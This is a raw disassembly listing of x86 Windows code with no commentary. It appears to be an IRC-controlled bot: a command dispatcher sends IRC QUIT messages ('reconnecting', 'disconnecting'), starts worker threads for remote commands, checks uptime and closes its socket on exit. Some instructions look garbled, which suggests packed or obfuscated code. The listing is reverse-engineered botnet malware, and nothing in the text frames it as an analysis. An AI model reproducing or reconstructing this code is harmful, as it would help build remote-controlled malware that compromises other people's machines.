loc_403B48:				; CODE XREF: .nsp0:00403B41j
		push	esi
		lea	eax, [ebp-2C4Ch]
		push	edi
		push	eax
		call	sub_41C030
		mov	eax, dword_429080
		push	7Fh
		push	dword ptr [ebp-88h]
		mov	[ebp-2B40h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-2B44h], ebx
		mov	[ebp-2D54h], eax
		lea	eax, [ebp-2B3Ch]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	[ebp-2ABCh], eax
		mov	eax, [ebp-8]
		mov	[ebp-2AB8h], eax
		lea	eax, [ebp-2D50h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-2B40h]
		push	offset unk_432B28
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	5
		push	eax
		call	sub_40B00E
		add	esp, 34h
		mov	[ebp-2B48h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2D54h]
		push	ebx
		push	eax
		push	offset dword_411D98
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-2B48h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_403C11


loc_403BFB:				; CODE XREF: .nsp0:00403C0Fj
		cmp	[ebp-2AB4h], ebx
		jnz	loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_403BFB
; ---------------------------------------------------------------------------


loc_403C11:				; CODE XREF: .nsp0:00403BF9j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_432AEC
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_403C22:				; CODE XREF: .nsp0:0040360Cj
					; .nsp0:00403621j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_403C41
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jz	short loc_403C41
		push	edi
		call	sub_41BE29
		pop	ecx
		jmp	short loc_403C46
; ---------------------------------------------------------------------------


loc_403C41:				; CODE XREF: .nsp0:00403C2Bj
					; .nsp0:00403C36j
		mov	eax, dword_4D108C


loc_403C46:				; CODE XREF: .nsp0:00403C3Fj
		mov	esi, [ebp+esi-88h]
		mov	[ebp-36C8h], eax
		xor	eax, eax
		cmp	[ebp-8FCh], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-36B4h], eax
		jz	short loc_403C79
		lea	eax, [ebp-37CCh]
		push	esi
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_403CA4
; ---------------------------------------------------------------------------


loc_403C79:				; CODE XREF: .nsp0:00403C66j
		lea	eax, [ebp-4FF4h]
		push	104h
		push	eax
		call	near ptr 0B40000h
		jno	short near ptr loc_403CDE+1
		push	ebx
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		lea	eax, [ebp-4FF4h]
		push	eax
		call	sub_41C081
		add	esp, 14h


loc_403CA4:				; CODE XREF: .nsp0:00403C77j
		lea	eax, [ebp-37CCh]
		push	eax
		call	sub_41B890
		cmp	byte ptr [ebp+eax-37CDh], 5Ch
		pop	ecx
		jnz	short loc_403CCF
		lea	eax, [ebp-37CCh]
		push	eax
		call	sub_41B890
		pop	ecx
		mov	[ebp+eax-37CDh], bl


loc_403CCF:				; CODE XREF: .nsp0:00403CB9j
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-3A54h]


loc_403CDE:				; CODE XREF: .nsp0:00403C8Aj
		mov	[ebp-3A58h], esi
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-36B8h], eax
		lea	eax, [ebp-37CCh]
		mov	[ebp-36BCh], edi
		push	eax
		push	dword ptr [ebp-36C8h]
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432AB0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	3
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-36C0h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3A58h]
		push	ebx
		push	eax
		push	offset sub_40F891
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-36C0h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_403D87


loc_403D71:				; CODE XREF: .nsp0:00403D85j
		cmp	[ebp-36ACh], ebx
		jnz	loc_403ED6
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_403D71
; ---------------------------------------------------------------------------


loc_403D87:				; CODE XREF: .nsp0:00403D6Fj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_432A74
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_403D98:				; CODE XREF: .nsp0:004035E2j
					; .nsp0:004035F7j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_403DB7
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jz	short loc_403DB7
		push	edi
		call	sub_41BE29
		pop	ecx
		jmp	short loc_403DBC
; ---------------------------------------------------------------------------


loc_403DB7:				; CODE XREF: .nsp0:00403DA1j
					; .nsp0:00403DACj
		mov	eax, dword_429084


loc_403DBC:				; CODE XREF: .nsp0:00403DB5j
		mov	[ebp-1824h], eax
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jnz	short loc_403DD3
		lea	eax, [ebp-0C0h]


loc_403DD3:				; CODE XREF: .nsp0:00403DCBj
		push	eax
		lea	eax, [ebp-1964h]
		push	40h
		push	eax
		call	sub_41C030
		mov	esi, [ebp+esi-84h]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DF5
		mov	esi, offset byte_443398


loc_403DF5:				; CODE XREF: .nsp0:00403DEEj
		push	esi
		lea	eax, [ebp-1924h]
		push	100h
		push	eax
		call	sub_41C030
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-19E4h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp-8]
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp-4]
		add	esp, 18h
		mov	[ebp-1810h], eax
		lea	eax, [ebp-1964h]
		push	eax
		mov	[ebp-19E8h], esi
		push	dword ptr [ebp-1824h]
		mov	[ebp-1814h], edi
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432A38
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	9
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-1820h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-19E8h]
		push	ebx
		push	eax
		push	offset byte_41104F
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-1820h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_403EBB


loc_403EA9:				; CODE XREF: .nsp0:00403EB9j
		cmp	[ebp-180Ch], ebx
		jnz	short loc_403ED6
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_403EA9
; ---------------------------------------------------------------------------


loc_403EBB:				; CODE XREF: .nsp0:00403EA7j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4329FC


loc_403EC7:				; CODE XREF: .nsp0:00403D93j
					; .nsp0:00406758j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_403ED6:				; CODE XREF: .nsp0:00403D77j
					; .nsp0:00403EAFj ...
		cmp	[ebp-8], ebx
		jnz	loc_40833C
		push	ebx
		push	edi
		jmp	loc_40720F
; ---------------------------------------------------------------------------


loc_403EE6:				; CODE XREF: .nsp0:004035B8j
					; .nsp0:004035CDj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_403EF9
		push	esi
		call	sub_41BE29
		jmp	short loc_403F00
; ---------------------------------------------------------------------------


loc_403EF9:				; CODE XREF: .nsp0:00403EEFj
		push	0Bh
		call	sub_40B275


loc_403F00:				; CODE XREF: .nsp0:00403EF7j
		cmp	eax, ebx
		pop	ecx
		jz	loc_4097B8
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B966
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F20:				; CODE XREF: .nsp0:0040358Ej
					; .nsp0:004035A3j
		mov	eax, dword_4D110C
		cmp	eax, ebx
		jz	short loc_403F3D
		call	eax ; dword_4D110C
		test	eax, eax
		jz	short loc_403F36
		push	offset unk_4329D8
		jmp	short loc_403F42
; ---------------------------------------------------------------------------


loc_403F36:				; CODE XREF: .nsp0:00403F2Dj
		push	offset unk_4329AC
		jmp	short loc_403F42
; ---------------------------------------------------------------------------


loc_403F3D:				; CODE XREF: .nsp0:00403F27j
		push	offset unk_432980


loc_403F42:				; CODE XREF: .nsp0:00403F34j
					; .nsp0:00403F3Bj ...
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		jmp	loc_406C62
; ---------------------------------------------------------------------------


loc_403F58:				; CODE XREF: .nsp0:00403564j
					; .nsp0:00403579j
		call	sub_40AA8C
		test	eax, eax
		jz	short loc_403F68
		push	offset unk_43295C
		jmp	short loc_403F42
; ---------------------------------------------------------------------------


loc_403F68:				; CODE XREF: .nsp0:00403F5Fj
		push	offset unk_432930
		jmp	short loc_403F42
; ---------------------------------------------------------------------------


loc_403F6F:				; CODE XREF: .nsp0:0040353Aj
					; .nsp0:0040354Fj
		cmp	[ebp-8], ebx
		jnz	short loc_403F8E
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_432918
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_403F8E:				; CODE XREF: .nsp0:00403F72j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_418982
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	offset dword_4328FC
		jmp	loc_404288
; ---------------------------------------------------------------------------


loc_403FB0:				; CODE XREF: .nsp0:004033E8j
					; .nsp0:004033FDj
		push	0Ah
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_403FC6
		push	offset unk_4328D0
		jmp	loc_40957A
; ---------------------------------------------------------------------------


loc_403FC6:				; CODE XREF: .nsp0:00403FBAj
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	near ptr loc_41A4EC+1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FE5
		push	offset unk_4328A8
		jmp	loc_40957A
; ---------------------------------------------------------------------------


loc_403FE5:				; CODE XREF: .nsp0:00403FD9j
		push	offset unk_432888
		jmp	loc_40957A
; ---------------------------------------------------------------------------


loc_403FEF:				; CODE XREF: .nsp0:004033BEj
					; .nsp0:004033D3j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40A729
		jmp	loc_401D69
; ---------------------------------------------------------------------------


loc_404008:				; CODE XREF: .nsp0:00403394j
					; .nsp0:004033A9j
		push	dword ptr [ebp+esi-8Ch]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_417228
		jmp	loc_401D69
; ---------------------------------------------------------------------------


loc_404025:				; CODE XREF: .nsp0:0040336Aj
					; .nsp0:0040337Fj
		or	edi, 0FFFFFFFFh
		call	dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_40404E
		push	esi
		call	sub_41BE29
		pop	ecx
		mov	edi, eax


loc_40404E:				; CODE XREF: .nsp0:00404043j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404067
		cmp	edi, 0FFFFFFFFh
		jnz	loc_4097B8


loc_404067:				; CODE XREF: .nsp0:0040405Cj
		push	ebx
		call	sub_41B12D
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432870
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6


loc_4040A4:				; CODE XREF: .nsp0:00407910j
		add	esp, 28h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_4040AC:				; CODE XREF: .nsp0:00403340j
					; .nsp0:00403355j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_416029
		lea	eax, [ebp-2C0h]
		push	offset dword_432850
		push	eax
		call	sub_41BF36
		jmp	loc_4081EA
; ---------------------------------------------------------------------------


loc_4040D3:				; CODE XREF: .nsp0:00403316j
					; .nsp0:0040332Bj
		push	27h
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_404107
		cmp	[ebp-8], ebx
		jnz	loc_401D6C
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_432830
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2


loc_4040FF:				; CODE XREF: .nsp0:00408C47j
		add	esp, 14h
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_404107:				; CODE XREF: .nsp0:004040DDj
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0B2Ch]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-0B30h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0AA4h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-0AA0h], eax
		mov	[ebp-0AA8h], ebx
		jz	short loc_404168
		push	esi
		push	offset aFull	; "full"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404168
		mov	dword ptr [ebp-0AA8h], 1


loc_404168:				; CODE XREF: .nsp0:0040414Bj
					; .nsp0:0040415Cj
		lea	eax, [ebp-2C0h]
		push	offset dword_43280C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	27h
		push	eax
		call	sub_40B00E
		add	esp, 14h
		mov	[ebp-0AACh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0B30h]
		push	ebx
		push	eax
		push	offset sub_41A174
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0AACh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_4041D6


loc_4041C0:				; CODE XREF: .nsp0:004041D4j
		cmp	[ebp-0A9Ch], ebx
		jnz	loc_4095A9
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_4041C0
; ---------------------------------------------------------------------------


loc_4041D6:				; CODE XREF: .nsp0:004041BEj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4327D0
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_4095A9
; ---------------------------------------------------------------------------


loc_4041F6:				; CODE XREF: .nsp0:004032ECj
					; .nsp0:00403301j
		cmp	[ebp-8], ebx
		jnz	short loc_404215
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_4327B4
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_404215:				; CODE XREF: .nsp0:004041F9j
		push	dword ptr [ebp+0Ch]
		call	dword_4D1288	; closesocket
		call	dword_4D1148	; WSACleanup
		call	loc_418B05
		push	ebx
		call	dword_427068	; ExitProcess


loc_404230:				; CODE XREF: .nsp0:004032C2j
					; .nsp0:004032D7j
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_41B2E4
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	offset dword_432798
		jmp	short loc_404288
; ---------------------------------------------------------------------------


loc_40425B:				; CODE XREF: .nsp0:00403298j
					; .nsp0:004032ADj
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_41B598
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	offset dword_43277C


loc_404288:				; CODE XREF: .nsp0:00403FABj
					; .nsp0:00404259j
		call	sub_4157A6


loc_40428D:				; CODE XREF: .nsp0:0040898Fj
		add	esp, 18h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_404295:				; CODE XREF: .nsp0:0040326Ej
					; .nsp0:00403283j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_415846
		jmp	loc_401D69
; ---------------------------------------------------------------------------


loc_4042AE:				; CODE XREF: .nsp0:00403244j
					; .nsp0:00403259j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-1594h], bl
		jz	short loc_4042ED
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_4042ED
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042ED
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp-1594h]
		push	80h
		push	eax
		call	sub_41C030
		add	esp, 10h


loc_4042ED:				; CODE XREF: .nsp0:004042B7j
					; .nsp0:004042C2j ...
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-1614h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		push	offset dword_432764
		mov	[ebp-1618h], eax
		mov	eax, [ebp-4]
		mov	[ebp-1510h], eax
		mov	eax, [ebp-8]
		mov	[ebp-150Ch], eax
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	25h
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-1514h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1618h]
		push	ebx
		push	eax
		push	offset byte_415887
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-1514h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: .nsp0:0040438Bj
		cmp	[ebp-1508h], ebx
		jnz	loc_401D6C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: .nsp0:00404375j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43272C
		jmp	loc_4020B5
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: .nsp0:0040321Aj
					; .nsp0:0040322Fj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_41572E
		push	offset dword_432714
		call	sub_4157A6


loc_4043B9:				; CODE XREF: .nsp0:00403F1Bj
		add	esp, 10h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: .nsp0:004031F0j
					; .nsp0:00403205j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0BC4h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-0BC8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0B3Ch], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-0B38h], eax
		jz	short loc_40441B
		push	offset dword_432710
		push	esi
		call	sub_41C710
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-0B40h], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: .nsp0:004043FFj
		mov	[ebp-0B40h], ebx


loc_404421:				; CODE XREF: .nsp0:00404419j
		lea	eax, [ebp-2C0h]
		push	offset dword_4326F0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	28h
		push	eax
		call	sub_40B00E
		add	esp, 14h
		mov	[ebp-0B44h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0BC8h]
		push	ebx
		push	eax
		push	offset byte_40B079
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0B44h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: .nsp0:0040448Dj
		cmp	[ebp-0B34h], ebx
		jnz	loc_406C86
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: .nsp0:00404477j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4326B4
		jmp	loc_409199
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: .nsp0:00403174j
					; .nsp0:00403189j
		push	offset aXxerooxx ; "XxerooxX"
		lea	eax, [ebp-2C0h]
		push	offset dword_43269C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 20h
		jmp	loc_406C86
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: .nsp0:0040314Aj
					; .nsp0:0040315Fj
		push	dword_4D0F24
		call	sub_41B12D
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432670
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 24h
		jmp	loc_406C86
; ---------------------------------------------------------------------------


loc_404515:				; CODE XREF: .nsp0:00403120j
					; .nsp0:00403135j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_404547
		cmp	[ebp-0Ch], ebx
		jz	short loc_404556
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404556
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		add	esp, 0Ch
		jmp	short loc_404556
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: .nsp0:0040451Ej
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		pop	ecx
		pop	ecx


loc_404556:				; CODE XREF: .nsp0:00404523j
					; .nsp0:00404532j ...
		push	0FFFFFFFEh
		jmp	loc_401D6E
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: .nsp0:004030F6j
					; .nsp0:0040310Bj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	offset dword_432620
		call	sub_4157A6
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_40457F:				; CODE XREF: .nsp0:004030CCj
					; .nsp0:004030E1j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	offset dword_4325EC
		call	sub_4157A6
		add	esp, 0Ch
		jmp	loc_409724
; ---------------------------------------------------------------------------


loc_40459E:				; CODE XREF: .nsp0:004030A2j
					; .nsp0:004030B7j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B6EF
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_4045B4:				; CODE XREF: .nsp0:00403078j
					; .nsp0:0040308Dj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B69B
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_4045CA:				; CODE XREF: .nsp0:0040304Ej
					; .nsp0:00403063j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B630
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_4045E0:				; CODE XREF: .nsp0:00403024j
					; .nsp0:00403039j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B562
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_4045F6:				; CODE XREF: .nsp0:00402F7Fj
					; .nsp0:00402F94j
		push	dword ptr [ebp+esi-8Ch]
		push	27h
		push	offset dword_4325DC
		push	offset dword_4325CC
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_40460E:				; CODE XREF: .nsp0:00402F55j
					; .nsp0:00402F6Aj
		push	dword ptr [ebp+esi-8Ch]
		push	24h
		push	offset dword_4325C0
		push	offset dword_4325B0
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_404626:				; CODE XREF: .nsp0:00402B71j
					; .nsp0:00402B86j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_404645
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jz	short loc_404645
		push	edi
		call	sub_41BE29
		pop	ecx
		jmp	short loc_40464A
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: .nsp0:0040462Fj
					; .nsp0:0040463Aj
		mov	eax, dword_42907C


loc_40464A:				; CODE XREF: .nsp0:00404643j
		mov	esi, [ebp+esi-88h]
		mov	[ebp-590h], eax
		cmp	esi, ebx
		jz	short loc_40466F
		push	esi


loc_40465C:				; CODE XREF: .nsp0:0040467Ej
		lea	eax, [ebp-5A0h]
		push	10h
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_40466F:				; CODE XREF: .nsp0:00404659j
		cmp	[ebp-8FFh], bl
		jz	short loc_404680
		lea	eax, [ebp-0C0h]
		push	eax
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404680:				; CODE XREF: .nsp0:00404675j
		mov	[ebp-5A0h], bl


loc_404686:				; CODE XREF: .nsp0:0040466Dj
		mov	eax, [ebp-4]
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	[ebp-584h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-580h], eax
		lea	eax, [ebp-620h]
		push	eax
		mov	[ebp-624h], esi
		call	sub_41C030
		add	esp, 0Ch
		push	dword ptr [ebp-590h]
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432588
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	19h
		push	eax
		call	sub_40B00E
		add	esp, 1Ch
		mov	[ebp-58Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-624h]
		push	ebx
		push	eax
		push	offset loc_4117CF
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-58Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_404737


loc_404721:				; CODE XREF: .nsp0:00404735j
		cmp	[ebp-57Ch], ebx
		jnz	loc_401D6C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_404721
; ---------------------------------------------------------------------------


loc_404737:				; CODE XREF: .nsp0:0040471Fj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43254C
		jmp	loc_4020B5
; ---------------------------------------------------------------------------


loc_404748:				; CODE XREF: .nsp0:00402B07j
					; .nsp0:00402B1Cj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_404768
		push	esi
		call	sub_41BE29
		test	ax, ax
		pop	ecx
		jz	short loc_404768
		push	esi
		call	sub_41BE29
		pop	ecx
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404768:				; CODE XREF: .nsp0:00404751j
					; .nsp0:0040475Dj
		mov	ax, word_429088


loc_40476E:				; CODE XREF: .nsp0:00404766j
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp-4]
		mov	[ebp-97Ch], ax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-96Ch], eax
		lea	eax, [ebp-9FCh]
		push	eax
		mov	[ebp-0A00h], esi
		mov	[ebp-970h], edi
		call	sub_41C030
		movzx	eax, word ptr [ebp-97Ch]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432520
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	edi
